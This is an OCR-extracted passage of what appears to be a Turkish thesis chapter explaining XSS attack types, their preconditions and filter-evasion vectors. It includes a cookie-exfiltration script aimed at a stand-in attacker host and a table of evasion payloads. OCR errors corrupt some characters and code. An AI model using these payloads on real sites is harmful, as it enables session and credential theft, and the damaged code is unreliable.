kodu Web uygulamasinin mesru bir pargasi olarak bilmeden yiiriitiir. Sonug olarak, saldirgan
kurbanin sunucuya gelen tiim hassas bilgilerini ¢calmak da dahil olmak iizere bu saldir1 ile
bircok seyi yapabilir. Burada, XSS saldirilarinin yalnizca Web uygulamasi bilgi girislerini
dogrulamadig1 veya yetersiz sekilde dogruladigi durumlarda basariya ulasacagini belirtmek

onemlidir. Web uygulamasi tarafinda bu sonug, gecersiz ham girdi kullanilarak elde edilir.

Bir XSS saldirisi, ActiveX, HTML, Flash veya JavaScript’ten yararlanabilir. En cok
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kullanilan, JavaScript’tir. Istatistiklere gore, tiim diinyada Web sitelerinin %95’ JavaScript
kullanmaktadir (W3Techs, 2019). Kotii amagh bir JavaScript kod parcasi, Ayn1 Menge
Politikasi’n1 (SOP: Same Origin Policy) istismar etmektedir. Bir Web sitesindeki herhangi bir
icerik, kaynak siteye hangi izinlerle erisim izni verildiyse, sistemin kaynaklarina erigim i¢in
aym seviyede izne sahip olabilir. Istemcinin tarayicisi, ayn1 Web sitesinden yayinlanan mesru
ve kot niyetli igerikler arasinda ayrim yapamadigindan, saldirgan kotii niyetine ulagmus
olur. XSS saldirilari, tiirtine baglh olarak farkli sekillerde gerceklestirilebilir. Bu farkh tipler

asagida kisaca agiklanmigtir.

Siteler Arasi Betik
Cahistirma Saldinsi
(XsS)

Sunucu tarafl XS5 Istemci tarafli XSS

Depolanmig X55 Yansitilmig XS5 Eklenti temelli X55 |;enl;l;§!?lama DOM tabanl X55
MySpace Samy Kurtoudu

Yamanner Kurtugu |

I Bacnans Kurttubu

Remren Kurtgud
S Pl Kuﬂ(hﬂvl

Sekil 2.23: XSS Saldirilarinin Taksonomisi (Cao ve dig., 2012)

2.2.1.1. Yansitilmig (Reflected) XSS

Bu XSS tiirii ayrica, kalic1 olmayan (Non-Persistent) XSS saldiris1 veya Tip-I XSS saldirist
olarak da bilinir. Yansitilmig XSS, kullanic1 girig verileri, bir talep icinde web sitesine
gonderildiginde ve web sitesi, gonderilen verilerin giivenli oldugundan emin olmadan,

hemen tarayiciya veriyi igeren yaniti geri dondiirdiigiinde olusur.

Yansitilmig XSS saldirilari, arama alanlarina veri girilerek, bir hata mesaji olusturularak
veya sunucu cevabinin istemciden gelen verileri kullandig1 bagka yollarla gergeklestirilir.
Saldirgan akillica bir senaryo iceren kotii amaclh bir HTML baglantis1 olusturur ve kurbanin
bu linke tiklamasini saglar. Kacinilmaz olarak, kurbanin sunucuya giden isteginin bir parcast

da kotii amacli koddur. Sunucudan gelen yanit, kotii amaclh kod parcacigini dahil eder (6rn.;
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geri yansitarak) ve kurbanin web tarayicisi bunu farkinda olmaksizin ¢alistirir. Bu nedenle,
kullanic1 girisi, herhangi bir temizlik veya etkisizlestirme yapilmadan dogrudan uygulama
tarafindan olusturulan ¢iktinin bir pargasi durumundaysa, XSS giivenlik acig1 bulundugu
sOylenebilir. Yansitilmig XSS saldirt modeli, Sekil 2.24’te gosterilmistir. Yansitilmig XSS

saldirisinda, kotiiciil kod, Depolanmig XSS saldirisinda oldugu gibi web sitesinde saklanmaz.

i

Zafiyete Agtk Web Uygulamasi

Kotl niyetli kod igeren
mesru HTTP Yanim, Zafiyete

Aok Web Uygulamasi

Kurban, kétd niyetli
baglantiyi tiklar ve kotd
amach kod iceren HTTP
Istegi Zafiyete Acik Web
Uygulamasina gdnderilir.

tarafindan kurbana
yansitilr.

Kurbanin hassas bilgileri
saldirganin sunucusuna
gonderilir.

Kurban Saldirgan
Saldirgan, kit niyetli dizeyi
Kurbanin tarayicisl, Sunucunun :];esnlzn ?'r URL oltu_stubrL:]r_ve
cevabindaki zararh lavaScript'i f-'= an IWI: pbos a\:‘". dlr R
mesru web sayfasinin bir parcasi vantemle kurbana gonderir.
clarak yorumlar ve kodu yaritir.

Sekil 2.24: Yansitilmig XSS Saldir1 Modeli

2.2.1.2. Depolannus (Stored) XSS

Genellikle Kalic1 veya Tip-II XSS saldiris1 olarak da adlandirilir. Depolanmig XSS, enjekte
edilen kotiiclil komut parcasi, web sitesinin halka agik bir alaninda depolandiginda ve
herkes tarafindan web sayfasi iizerinden erisilebilir oldugunda gerceklesir. Depolanmis
XSS saldirilarina duyarl tipik yerler, yorum boliimleri, mesaj panosu yayinlart veya
sohbet odalaridir. Giris verileri bu yerlerde saklandigindan, giris verileri enjekte edilmis
bir kotiiciil komut parcasi, mesru sayfanin yiiklenmesinden sonra, sayfa zafiyete aciksa,
enjekte edilen zararli betik de calistirilabilir. Bir kullanici bu yerlerden birini ziyaret
ettifinde, tarayici verileri geri alir ve ardindan tarayicinin megru igeriginde Depolanmis

XSS saldirisini da yiiriitiir. Depolanmig XSS saldir1 modeli, Sekil 2.25’te gosterilmistir.
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Depolanmis XSS saldirilarina duyarl diger yerler, bir ziyaret¢i giinligii veya web sitesinin
kullanic1 erigsim/kullanim bilgilerini tutan giinliikler gibi yalnizca yoneticilerin erisebilecegi
web sitesi yonetim alanlarini da icerebilir. Kotiiciil Javascript kodunu, REFERER veya
USER-AGENT gibi HTTP basliklarina da enjekte etmek miimkiindiir (MITRE CAPEC,
2019). Bu baghklardan gelen verilerin bazilarmin giinliikklerde goriinmesi veya siradan
kullanic1 igeriklerinde yer almasi pek miimkiin olmadigindan, buradaki XSS saldiris1 bir
yOneticinin tarayicisinin mesru icerikle birlikte kotiiciil kodu yiiriitmesiyle birlikte basariya
ulasacaktir; bu durum siradan bir kurbanin hassas verilerini ele gecirmekten ote tiim web
uygulamasi genelinde kullanilabilecek ¢ok daha hassas verilerin ele gegirilmesi anlamina
gelebilir. Bu tiir bir XSS saldirisina karg1 istemci tarafinda korunmak ¢ok zordur, c¢iinkii
istemci icin bir web sitesinden gelen JavaScript kodunun mesru olup olmadigini veya bir
saldirgan tarafindan enjekte edilen kotii niyetli bir kod olup olmadiginmi belirlemek i¢in
higbir yol yoktur. Istemcinin bakis agisindan, bir web sitesinden gelen tiim JavaScript
kodlar1 mesrudur ve buna gore gerektigi gibi yorumlanmalidir. Depolanmis XSS saldirina
maruz kalmamak icin yapilabileceklerin basinda, kullanicilarin girdikleri veriyi veri tabanina

kaydetmeden 6nce uygun rutinlerin uygulanmasi gelmektedir.

Kotl amach kod, Zafiyete Agk Web Uygulamasinin veritabani
sunucusunda temizlenmeden [ etkisizlestirilmeden saklanir.

N

\\L

: ) Veri Tabanm
E : < sunucusu

Kurban, Zafiyete
Aok Web

Uygulamasindan
igerik ister.

it/ o
Zafiyete Agik

web Uygulamasl Talep edilen igerik, kétl

amach kod ile birlikte
veritabani sunucusundan
alirr.

Kotd niyetli kod,

kurbana mesru
icerigin bir parcasi
gibi iletilir.

Saldirgan, Zafiyete Aglk Web
Uygulamasina kdtd amagh
kod enjekte eder.

@ »
QIP_E,_ o

Kurban Kurbanin hassas
bilgileri saldirgana
gonderilir.

Saldirgan

Sekil 2.25: Depolanmig XSS Saldir1 Modeli



52

2.2.1.3. DOM Tabanh XSS

DOM (Dokiiman Nesne Modeli) tabanli XSS saldirisina ayrica yaygin olarak Tip-0
XSS saldiris1 da denir. Bir web sitesi, istemciye gonderdigi yanitta, herhangi bir girig
kaynagindan aldig1 girdiyi (URL gibi) dogrudan kullanan bazi JavaScript kodlari iceriyorsa,
bir DOM tabanli XSS saldiris1 miimkiin olabilir. Bu XSS tiirii, aslinda saldir1 komut
dosyasi web sunucusuna gonderilmeden bile, URL’deki 6zel bir HTML karakteri olan
parca tamimlayici, “#” kullanilarak gerceklestirilebilir. Par¢a tanimlayicist kullanildiginda,
bu karakter arkasindaki hicbir sey istegin bir parcasi olmaz. Bu ise, parca tanimlayicisindan
(#) sonraki igerigin, yanitta istemci tarafindaki kod tarafindan kullanildiginda, kullanicinin
baz1 verileri girmesinden zararli kodun tarayicida calistirilmasina kadar kotii amacli kodun
istegin bir pargasi veya web sitesinin yanit1 degil ama web sayfasinin DOM’unun bir parcasi
oldugu anlamina gelmektedir. DOM Tabanli XSS, en az rastlanan ancak ayni zamanda
bulmak ve korunmak en zor olan XSS saldirisi tiiriidiir. Bu saldir tiirii, yalmizca JavaScript
kodunu kullanarak istemci tarafindaki kusurlara dayandigindan, sunucu tarafi filtreleme bu
saldiriy1 algilayamaz, bu da web uygulamalarinda istemci tarafinda da korumanin olmasi
i¢in iyi bir nedendir. Bu kategorideki saldirilar, digerlerinden 6nemli dlciide farklidir, ¢iinki
esasen istemcinin tarayicisinin betik yorumlayicisindaki bazi giivenlik aciklari nedeniyle bu
tiir XSS saldirilan gergeklesebilir, diger iki tiir saldir1 ise sunucu tarafl1 giivenlik agiklarindan
kaynaklanmaktadir. Istemcinin tarayicisindaki Web sayfasinin DOM yapis1 degistirilir.
Saldirganin kotii niyetli komut dosyasmi ¢alistirmada bagarili olmasinin nedeni budur.
Saldirganin hazirladig1 koti niyetli kod parcacigimin (payload), diger iki saldiri tiiriinde
oldugu gibi yanitta bulunamayacagina dikkat etmek gerekir. Kétii niyetli yiik, ancak DOM
yapisini inceleyerek veya Web sayfasi yiiklendiginde, yani ¢alisma zamaninda bulunabilir.

DOM tabanli XSS saldirt modeli, Sekil 2.26’da gosterildigi gibidir.

Acunetix (2019) Web Uygulama Zafiyetleri Raporu i¢in toplanan ve analiz edilen veriler,
Acunetix Online? ve Acunetix’in bulut tabanli web uygulama ve cevresel ag giivenligi
tarayici hizmetinden (SaaS) gelen otomatik web uygulamasi zafiyet taramalarindan elde
edilmistir. Bu veriler 12 aylik bir siire boyunca, rastgele secilen 10.000 tarama hedefi
tizerinden toplanmustir. Bu rapora gore, sasirtict bir bicimde orneklerin %32’si, bir veya

daha fazla Siteler Aras1 Betik Calistirma zafiyetine kars1 savunmasizdi. Sosyal miihendislik

2 https://www.acunetix.com/online-vulnerability-scanner/
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1177/
Zafiyete Agtk Web Uygulamasi

Kurban, baglantiyi agmak veo

k&t amach URLyi web

sitesinden istemek icin <Fitmil=

kandinhr. Web sitesi istegi alir, Arama sonuglart:
ancak cevap, kotd niyetli  cseript=
dizeyi icermez. window lpcation="http-//saldirgon. com/ ?cookie="+document cookie
</script=
< html=
Kurbanin hassas bilgileri
saldirganin sunucusuna
. génderilir.
QL <
——
Kurban Saldirgan
Saldirgan zararl dizeyi iceren
- R bir URL olugturur ve baglantiy
Kurbanin tarayicisi, vanltlp !.l;lndEkl kurbana gonderir.
mesru komut dosyasini yiriterek
kétl amach komut dosyasinin Fittp:/fwebsitesiforama *kelime=<script=_.</script=

sayfaya eklenmesini saglar.

Kurbanin tarayicisi, sayfaya
eklenen kdtld amach komut
dosyasini istemci tarafli kod

vasitasiyla ylrotir.

Sekil 2.26: DOM Tabanl1 XSS Saldir1 Modeli

ile birlikte XSS, saldirganlarin gerezleri calarak kullanicilari taklit etmesini ve tuglari
kaydetme, oltalama ve kimlik hirsizlig1 yapmasint miimkiin kilar. Kritik olarak XSS aciklari,

saldirganlara saldirilar1 daha ciddi hale getirmek i¢in ihtiya¢ duyduklari bircok seyi saglar.

2.2.1.4. Diger XSS Tiirleri
Uc ana tiir Siteler Aras1 Betik Calistirma saldiris1 olmasina ragmen, bu saldirilar gelistigi
ve farkli sekillerde kullanildig1 icin, XSS tiirlerini bazi ek alt kategorilerde ele almak
miimkiindiir. Bu alt tiirler, Evrensel XSS (UXSS), Eklenti temelli XSS ve Kendi kendine
XSS olarak siniflandirilabilir.

Evrensel XSS

Evrensel XSS, bir web sitesini istismar etmek i¢in tarayicinin kendisini, tarayici eklentilerini

veya web sitesi uzantilarini kullanan bir XSS saldiris1 seklidir (Paola ve Fedon, 2006).
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XSS Analizi
1%
[53]
32%
[2.914]
O DOM tabanh X55 X55 [Depolanmis ve Yansmilmis)

Sekil 2.27: XSS Analizi (Acunetix, 2019)

Evrensel XSS, web sitesini dogrudan istismar etmediginden ¢ok tehlikeli bir XSS tiiriidiir,
yani bir web sitesinin istismar edilebilecek herhangi bir giivenlik acig1 icermesine gerek
yoktur. Modern web tarayicilari, tarayicilara daha fazla 6zellik katan eklentiler, kiigiik
programciklar, uzantilar kullanarak islevlerini daha da genisletmeyi desteklemektedir.
Tarayic1 aracilifiyla yiiklenmeyen, ancak web sitesinin kendisi tarafindan kullanilan
eklentiler de vardir. Bu eklentiler genellikle web sitelerinin icerigine erisebilir ve genellikle
islevselliginin ¢alismasi icin kullanicidan girdi alinmasini gerektirir. Bir web sayfasinda,
icerigi goriintiileme veya diizenleme 6zellikleri ile birlikte kullanicidan girdi alan bir eklenti
kullanildiginda web sayfasinda Siteler Aras1 Betik Calistirma saldirisina izin verecek bir
aciklik olusabilir. Buna Ornek olarak, web sitelerinin PDF dosyalarin1 goriintiillemesini
saglayan bir eklenti verilebilir. Bir saldirgan, goriintiilenen PDF dosyasinin ad alanina bazi
JavaScript kodlart enjekte ederse ve bu eklenti, dosya adi icin kullanilan girdide yeterli
dogrulama ve diizgiilemeye sahip degilse, tarayicida bu JavaScript kodu calistirilabilir.
Giivensiz eklentiler tarafindan ortaya ¢ikarilan bu tiir XSS aciklari, Evrensel XSS’in 6zel

bir alt tiirli olarak diisiiniilebilecek olan Eklenti temelli XSS olarak siniflandirilabilir.
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Kendi kendine XSS

Kendi kendine XSS (Self-XSS), kullanicilarin kendilerine ait saldirilari kendi tarayicilarinda
olusturup yiiriitmeleridir, bu ii¢ ana XSS tiirlinde oldugu gibi diger kullanicilan etkilemez.
Kendi kendine XSS, saldirganin cogunlukla JavaScript kodunu kendi tarayicilarina
kopyalayip yapistirarak kendilerine XSS saldirilar1 yapmalarini ve tigiincii taraflar1 aldatmak
icin kullandiklar1 bir sosyal miihendislik saldirisidir. Bu 6zel saldir1 hakkindaki farkindalik,
popiiler sosyal medya sitesi Facebook.com araciligiyla kazamildi, c¢iinkii bu saldir
sitenin kullanicilarina kars1 oldukc¢a yayginlasti ve Facebook (2019), Kendi kendine XSS
dolandiricili§ina kars1 bir uyar1 yayimladi. Facebook, bu saldiriy1 hafifletmek icin kullanici
facebook.com sitesini ziyaret ederken tarayicisinda gelistirici konsolu penceresini agtiginda

goriintiileyen bir uyari bile olusturdu.

Uyumluluk i¢in, her Web tarayicisi, HTTP yanitlarinin icerigini denetleyen ve bazen de
sunucu tarafindan saglanan MIME? tiiriinii gecersiz kilan bir icerik koklama algoritmasi
kullanir. Ornegin bu algoritmalar, tarayicilarin bir “Content-Type” baslig1 icermeyen HTTP
yanitlarinin yaklagik %1’°ini olusturmasini saglar. Rekabetgi bir tarayici pazarinda, “dogru”
MIME tiiriinii tahmin eden bir tarayici, kullanicilar i¢in bu sekildeki siteleri dogru bigimde
goriintiileyemeyen bir tarayicidan daha cekici gelir. Bir tarayici iireticisi, icerik koklama
uyguladiktan sonra, diger tarayici iireticileri de uyumluluk riskini almak veya pazar
payin1 kaybetmek zorunda kalir. Giivenlik hesap edilerek dikkatlice tasarlanmamuissa, icerik
koklama algoritmalari, saldirgan tarafindan Siteler Aras1 Betik Calistirma (XSS) saldirilart
baglatmak icin kullanilabilir (Gebre, Lhee ve Hong, 2010). Bir igerik koklama XSS saldirist
olusturmak icin saldirgan, web sitesine bir GIF/HTML dosyasi yiikler. Tarayici, bu dosyay1
HTML olarak kabul eder ve saldirganin JavaScript kodunu ¢aligtirir.

G0 - (@ rpiiporinin =]41
R T S ——
2 >
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The Free Encyclopedia

Sekil 2.28: Bir Icerik Koklama XSS Saldir1 Ornegi (Barth, Caballero ve Song, 2009)

3 Multi-purpose Internet Mail Extensions (Cok amach Internet Posta Eklentileri)
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Mutasyona Dayal1 XSS saldirilarinda, tarayicilar gecersiz HTML kodunu otomatik olarak
onarmaya c¢alisir. Bu genellikle, gecersiz bir HTML kodunu etkin bir HTML koduna
doniistiirerek elde edilir. Dolayisiyla, gecersiz HTML kodu, JavaScript kodunu ¢alistiran
bir seye doniisebilir. Ciinkii baglangicta, HTML kodu saglam goriintirken kod, web
tarayicisinin yani sira sunucudaki sayisiz temizlik mekanizmasini/arindirma sinifini da ihlal
edebilir. Sekil 2.29, Mutasyona Dayali XSS saldirisinin giivenlik agiklarindan yararlanan
ornek bir kotiiciil JavaScript kodunu gostermektedir. Bir saldirgan ‘<alt>’ enjeksiyon
noktasinda “<body ONLOAD= alert (document.cookie)>" giivenlik ac¢ig1 bulunan JavaScript
kodunu ‘<alt>" enjeksiyon noktasina enjekte ederse, kod tetiklendiginde ‘<img>’
degiskeni eklenecektir: <img src="test.jpg" alt="<body onload= alert(document.cookie)>".
Artik innerHTML 6zelligi, tarayici tarafindan ‘<div>’ mesajina veri eklemek igin
kullanilacaktir, sonra HTML kodu <IMG alt="" src= http://guvensiz.com/xss/test.jpg<body
onload=alert(document.cookie)> haline doniistiiriiliir. Sonunda, web tarayicisit JavaScript
kodunu calistirir ve bir a¢ilir pencere goriintiilenir. Bir saldirgan, bu 6rnekteki gibi bir iletisim

kutusu goriintiillemek yerine iiretilen kotiiciil JavaScript kodunu dogrudan calistirir.

<sSCript>

function post() {
messageElement = document.getElementById("message");
imageElement = document.getElementById("imags") ;
var alt = document.getElementById("inklt") . value;
var message = document.getElementById("inMessage").wvalue;
var img = "<img src="test.pg" alt=""4alt+'">";

imageElement.innerHTML = img;
messageElement. innerHTML = message;
messageElement . innerHTML += imageElement.innerHTML;

}

</script>

<div id="image"></div>

<div id="message"»><fdiv>

message:<input id="inMessage"»</input><br>
alt:<input id="inrlt"></input><br>
<button onclick="post () ">Post</button>

Sekil 2.29: Mutasyona Dayali XSS Ornegi Kodu
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2.2.2. Basarih Bir XSS Saldirisimin On Kosullar:

Saldirganin bir XSS saldirisim1 bagariyla baglatabilmesi icin 6nce iic on kosulun yerine
gelmesi gerekir. Bu iic 6n kosul; enjekte edilebilirlik, yiiriitiilebilirlik ve disar1 sizma
kabiliyetidir (Heiderich ve dig., 2012). Saldirgan bu 6n kosullar1 gecerse bir XSS saldirisi
baglatabilir.

2.2.2.1. Enjekte edilebilirlik

Bir Web uygulamasi, bir saldir1 vektorii kullanilarak enjekte edilir. Saldir1 vektorleri,
saldirganlar tarafindan bagarili bir saldir1 gerceklestirmek icin kullanilan yontemlerdir.
Saldirganin koétiiciil kod parcacigini yiikleyip calistirmak ve hassas bilgilere erismek icin
bilinen giivenlik agiklarindan yararlanmilir. Bir uygulamanin etkilesimi arttik¢a, saldiri

vektorlerinin sayis1 da onemli 6lciide artar.

Ik olarak, Web sayfasinda bir XSS giivenlik a¢i1§1 olup olmadigimi kontrol etmek igin,
Sekil 2.30’da yazilan temel kod kullanilabilir. Giivenlik a¢i81 varsa, kullanict "YASASIN
XSS" kelimelerini iceren bir uyari gorecektir. Sekilde gosterildigi gibi fromCharCode
fonksiyonu, (89,65,350,65,83,73,78,32,88,83,83) Unicode karakterlerini "YASASIN XSS"

dizesine doniistiiriir.

;alert (String. fromCharcode (89, 65,350,65,83,73,78,32,88,83,63))//' ;alert(String.fromCharCoede(89,65,350,65,63,73,78,32,88,83, N/
alert(sString.fromcharCode(8%,65,350,65,83,73,78,32,686,83, )y//";alert (String. fromcharcode (89, 65,350,65,83,73,78,32,88,83,83))//-- >
</script>">'><script>alert (String.fromCharCode (89, 65,350,65,583,73,78,32,88,83,83))</script>

Sekil 2.30: XSS Giivenlik A¢1§1 Konumlandirict Kod Ornegi (htmlpurifier, 2019)

Sekil 2.31, Sekil 2.30°deki kodun kisaltilmig bir versiyonudur ve ayn1 amaca hizmet eder.

U I--"<YASASIN XS5>=&{()}

Sekil 2.31: XSS Giivenlik A¢i1g1 Konumlandirici Kisa Kod Ornegi (htmlpurifier, 2019)

Kodu enjekte ettikten sonra, kullanicinin sayfa kaynagini1 goriintiilemesi ve "<YASASIN
XSS" dizgesine karsilik "&It; YASASIN XSS" dizgesini aramasi gerekir. Bu yontem,
kullanicimin XSS aciklarinin mevcut olup olmadigini belirlemesini saglar. Tablo 2.4’te,
saldirganin bir Web belgesindeki cesitli yerlere kotii amagh JavaScript kod parcacigi
eklemek i¢in kullanabilecegi saldir1 vektorlerinden bazilari verilmistir. (OWASP XSS Filter
Evasion Cheat Sheet, 2019) Ik siitun, saldir1 vektoriinii olusturmak i¢in kullanilan HTML
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Etiketini icermektedir. Ikinci siitun, kotii amaclhi kod eklemek igin kullanilan etiketteki
ozellikleri veya nitelikleri agiklamaktadir. Son olarak, {ii¢iincii siitun Ornek bir saldiri
vektoriinti gostermektedir. Bu saldirt vektorlerinin yalnizca Yansitilmis ve Depolanmig XSS
saldirilarina karsilik geldigine dikkat etmek 6nem arz etmektedir. XSS saldir1 vektorii olarak
kullanilan ve Tablo 2.4’te yer alan bazit HTML etiketleri i¢in kisa aciklamalar agagida yer

almaktadir;

1. IMG etiketi: IMG etiketi, JavaScript yonergesini kullanarak HTML
sayfasinda/kodunda yer alan resimler yoluyla XSS saldiris1 gergeklestirmek icin
kullanilabilir. IE7.0 (Internet Explorer siiriim 7.0) tarayicisi, bir resim baglaminda
JavaScript yonergelerinin kullanilmasina izin vermemektedir. Ancak, yonerge diger
baglamlarda da kullanilabilir. Tablo 2.4’te, XSS nin etkili bir sekilde uygulanabilecegi
ilkeler detayli olarak gosterilmektedir. Bu metotlar, diger HTML etiketleri icin de

kullanilabilir. Burada yararli olabilecek birka¢ noktay1 belirtmek gerekirse;

* Cogu XSS filtresi, iist tirnak sasirtmasinin varligini kontrol etmez.

* Herhangi bir alintinin filtreler tarafindan kullanilmasina izin verilmezse
saldirgan, fromCharCode fonksiyonu ile karakterleri eval() fonksiyonuna tabi

tutarak saldir1 vektoriinii istegine/ihtiyacina gore ozellestirebilir.

* Firefox veya Netscape 8.1+ tarayicilarinda bulunan Gecko goriintii olusturma
motoru kipi, IMG etiketi i¢cinde JavaScript yonergelerinin kullanilmasina izin

vermez. Bu nedenle, saldirgan tarafindan diizgiileme yontemleri benimsenebilir.

 JavaScript yonergesi, XSS filtresini sagirtmak icin orneklerde gosterildigi gibi
metinsel olarak bozulabilir. Yonerge, bir sekme karakteri (TAB), yeni satir
karakteri (LF), satir bag1 karakteri (CR) veya bu liciinden birinin diizgelenmisg bir
siirimil yerlestirilerek bozulabilir. Boylece, XSS filtresi bu bozulmalar1 dikkate

almayarak gozden kagirabilir.

* JavaScript yonergesinden once, bosluk veya bagka meta karakterler kullanilabilir.
Bu 6nemsiz ekleme, XSS filtresi algilama i¢in desen eslestirmeyi kullandiginda

onemli hale gelir.

* Firefox tarayicisi, HTML etiketi kapatirken *“>” yerine “<” kullaniyorsa da

sorunsuz ¢alisir. Ancak bu davranigsa Netscape’de izin verilmez.

* Dynsrc ve lowsrc 6zellikleri, bir XSS vektoriinii olusturmak icin kullanilabilir.
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2. SCRIPT etiketi: SCRIPT etiketi, XSS saldirisim1 cesitli sekillerde gerceklestirmek
icin bir saldir1 vektorii olarak da kullanilabilir. Yardimci olabilecek birka¢ nokta

asagida verilmistir;

 Ornekte gosterildigi gibi disa acik parantezler kullamlabilir. Ozellikle, baz1
XSS algilama mekanizmalari, esit sayida acik ve kapali parantez sayisiyla
eslestirilerek kotii amagh kodun tespit edilmesine bagliysa, bu tiir bir saldir
vektoriine kars1 basarisiz olmak kagimlmazdir. Ornekte kullamilan cift egik cizgi,

sonuncu dis parantezi yorum haline getirir.

* Firefox ve Netscape 8.1 tarayicilarinin Gecko goriintii isleme motor modunda
SCRIPT etiketinin "> </SCRIPT>" boliimiinii atlamak aslinda miimkiindiir.
Tarayicilar, komut dosyas! kapatma etiketlerini ekleyerek bunu otomatik olarak
diizeltir. Boyle bir yaklasim, ornekte gosterildigi gibi zararli bir kod senaryosunu

olusturmak i¢in kullanilabilir.

* SCRIPT etiketlerinde protokol coziimleme altinda gosterilen Ornek, IE ve
Netscape tarayici kullamlmasi durumunda c¢alisir. Ornekteki koda kapanig
SCRIPT etiketi eklenmigse, Opera tarayicist i¢in de caligir. “j” uzantisi
tarayici tarafindan bilindigi tizere SCRIPT etiketi icerisinde kullanildigindan hata

VEIrmez.

» Kotii amacl bir JavaScript kodu iceren “.js” dosyasi, “.jpg” uzantisiyla yeniden
adlandirilabilir. Bu tiir bir saldirt vektori, “.js” uzantisini belirlemeye bagli olarak

calisan algilama mekanizmalarindan kagacaktir.

3. TITLE etiketi: Kapanis TITLE etiketi, Tablo 2.4’te gosterildigi gibi kotii amagh

kodlar olusturmak i¢in kullanilabilir.

4. IFRAME etiketi: IFRAME etiketleri, ¢ok sayida koétii niyetli komut dosyast
olusturmak i¢in kullanilabilir. [IFRAME kullanmanin asil amaci, bir Web sayfasini
bagka bir Web sayfasinin icine yiiklemektir. Kotii niyetli ¢aligmasini saglamak igin
saldirganlar IFRAME’i gomiilii sayfanin i¢ine yalnizca bir piksel kare olacak sekilde
olusturur (TheGuardian, 2019). Bu kotii amach etkinlik fark edilmeden devam eder
ve kotii niyetli kod gizlendiginde kullanici tarafindan siipheli hi¢bir durum goriinmez.
IFRAME etiketleri, Tablo 2.4’teki ornekte gosterildigi gibi tahribat olusturmak icin
olay isleyicileri ile birlikte kullanilabilir.
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5. OBJECT etiketi: OBJECT etiketi, web sayfasina kotiiciil kod pargacigini iceren XSS

yiikiinii barindiran harici bir Web sitesi gommek i¢in kullanilabilir.

6. EMBED etiketi: EMBED etiketi, harici bir Web sitesinde barindirilan kotiiciil flash
veya SVG dosyasini baglamak icin kullanilabilir. “AllowScriptAccess” 6zelligi, “her
zaman (always)” olarak ayarlanmissa, etki alanindan bagimsiz olarak flash dosyasinin

herhangi bir yerden yiliklenmesine izin verilmis olur.

Bu boliimde ele alinan saldir1 vektorlerinin yami sira, kotii amagh XSS saldir1 vektorleri,
HTML urnak isareti kapsiilleme, URL dizesi atlatma veya SSI (Server Side Include - Sunucu
tarafl1 dahil etme), UTF-7 veya US-ASCII Karakter Diizgeleme, Istek yonlendirme gibi diger

teknikler kullanilarak da olusturulabilir.

Burada tartisilan saldir1 vektorlerine ek olarak, olay isleyicileri kullanilarak da bir kisim
farkli saldir1 daha olusturulabilir. Olay isleyicileri, bir tarayicida belirli bir olayin meydana
gelmesiyle birlikte, belirli bir eylemi gerceklestirmek icin farkli HTML etiketleri i¢ine dahil
edilebilir (W3School JavaScript Events, 2019). Olay isleyicileri, pencere olay ozellikleri,
form tabanli olaylar, klavye olaylari, fare olaylari, siiriikleme olaylari, medya olaylari, pano
olaylar1 ve cesitli olaylar gibi farkli kategorilere ayrilir. Olay isleyicilerinin tam listesi
(OWASP XSS Filter Evasion Cheat Sheet, 2019)’te bulunabilir. Onemli olanlardan bazilar

ise Tablo 2.5’te siniflandirilmigtir.

2.2.2.2. Yiiriitiilebilirlik

Kum havuzuna alinnus IFRAME’ler; Daha once belirtildigi gibi, IFRAME etiketi veya
satir ici FRAME, XSS saldirilarin1 baglatmak icin bir saldir1 vektorii olarak kullanilabilir.
Saldirgan, icerigine kotii amacl kod ekleyerek kotii niyetli bir IFRAME’1 akillica olusturur.
HTMLS, IFRAME etiketine ‘sandbox (kum havuzu)’ adi verilen yeni bir ozellik ekledi.
Kum havuzu ozelligi, kotii amacli IFRAME’lerin davranigini kontrol etmeye yardimci
olur. Bu 0znitelik, IFRAME igerigi icin bir dizi kisitlama olusturur. Bagka bir deyisle,
IFRAME’deki zararl icerik kontrollii bir ortama yerlestirilir. Kum havuzu 6zelligi, Chrome
(4.04), Internet Explorer (10.0+), Firefox (17.0+), Netscape Navigator (5.0+) ve Opera
(15.0+) Web tarayicilarinda desteklenir (W3School HTML IFRAME sandbox Attribute,
2019). Kum havuzu 6zelligi asagidakileri saglar;
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Tablo 2.4: Baz1 XSS Saldir1 Vektorleri

:Z[:II(\: tI; Karakteristik/Oznitelik/Yontem Ornek Kod Parcacigi
A A etiketini HREF 6zelligini atlayarak kullanma <A onmouseover=alert("' YASASIN XSS’)>XSS</A>
BASE BASE etiketi kullanma <BASE HREF="javascript:alert("YASASIN XSS");//">
BGSOUND Arkaplan sesi etiketini kullanma <BGSOUND SRC="javascript:alert(" YASASIN XSS’);">
BODY BODY etiketinde arkaplan kullanma <BODY BACKGROUND="javascript:alert YASASIN XSS”)">
BODY etiketinde onload olayini kullanma <BODY ONLOAD=alert("YASASIN XSS")>
DIV etiketinde background-image kullanma <DIV STYLE="background-image: url(javascript:alert(' YASASIN XSS))">
DIV DIV etiketinde background-image icerisinde unicode <DIV STYLE="background-image:\0075\0072\006c\0028°\006a\006 1\0076\006 1\0073\0063\0072
diizgelenmis kod kullanma \0069\0070\0074\0032\0061\006c\0065\0072\0074\0028\0027\0059\004 1\015e\004 1\0053\0049\004¢
i \0058\0053\0053\0027\0029°\0029">
DIV etiketinde background-image ile flave <DIV STYLE="background-image: url(&#1:javascript:alert( YASASIN XSS"))">
karakterler kullanma ) > )
DIV etiketi icerisinde expression kullanma <DIV STYLE="width: expression(alert( YASASIN XSS"));">
EMBFD ?llkell kullanarak, XSS igeren bir Flash <EMBED SRC="http://yasasinxss.com/kotuculkod.swf" AllowScriptAccess="always"></EMBED>
EMBED dosyas1 gobmme
<EMBED SRC="data:image/svg+xml;base64, PHN2ZyB4bWxuczpzdmc9ImhOdHA6Ly93d3cudzG5
Mub3JnLzIwMDAvc3ZnliB4bWxucz0iaHROcDovL3d3dy53MySvemevMjAwMC9zdmcilHhtbzOn
EMBED etiketi kullanarak, XSS i¢eren bir SVG hsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rTiB2ZXJzaWuPSIXLjAilHg+YW9II
dosyas1 gémme JAIIHK9IjAiITHdpZHRoPSIxOTQilGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaX BOIHR 5¢cGU9I
nRIeHQVZWNtYXNjecmlwdCIxlenQollIBxZ5BUOIOIFhTUyIpOzwvc2NyaXBOPjwvc3ZnPg=="
type="image/svg+xml" AllowScriptAccess="always"></EMBED>
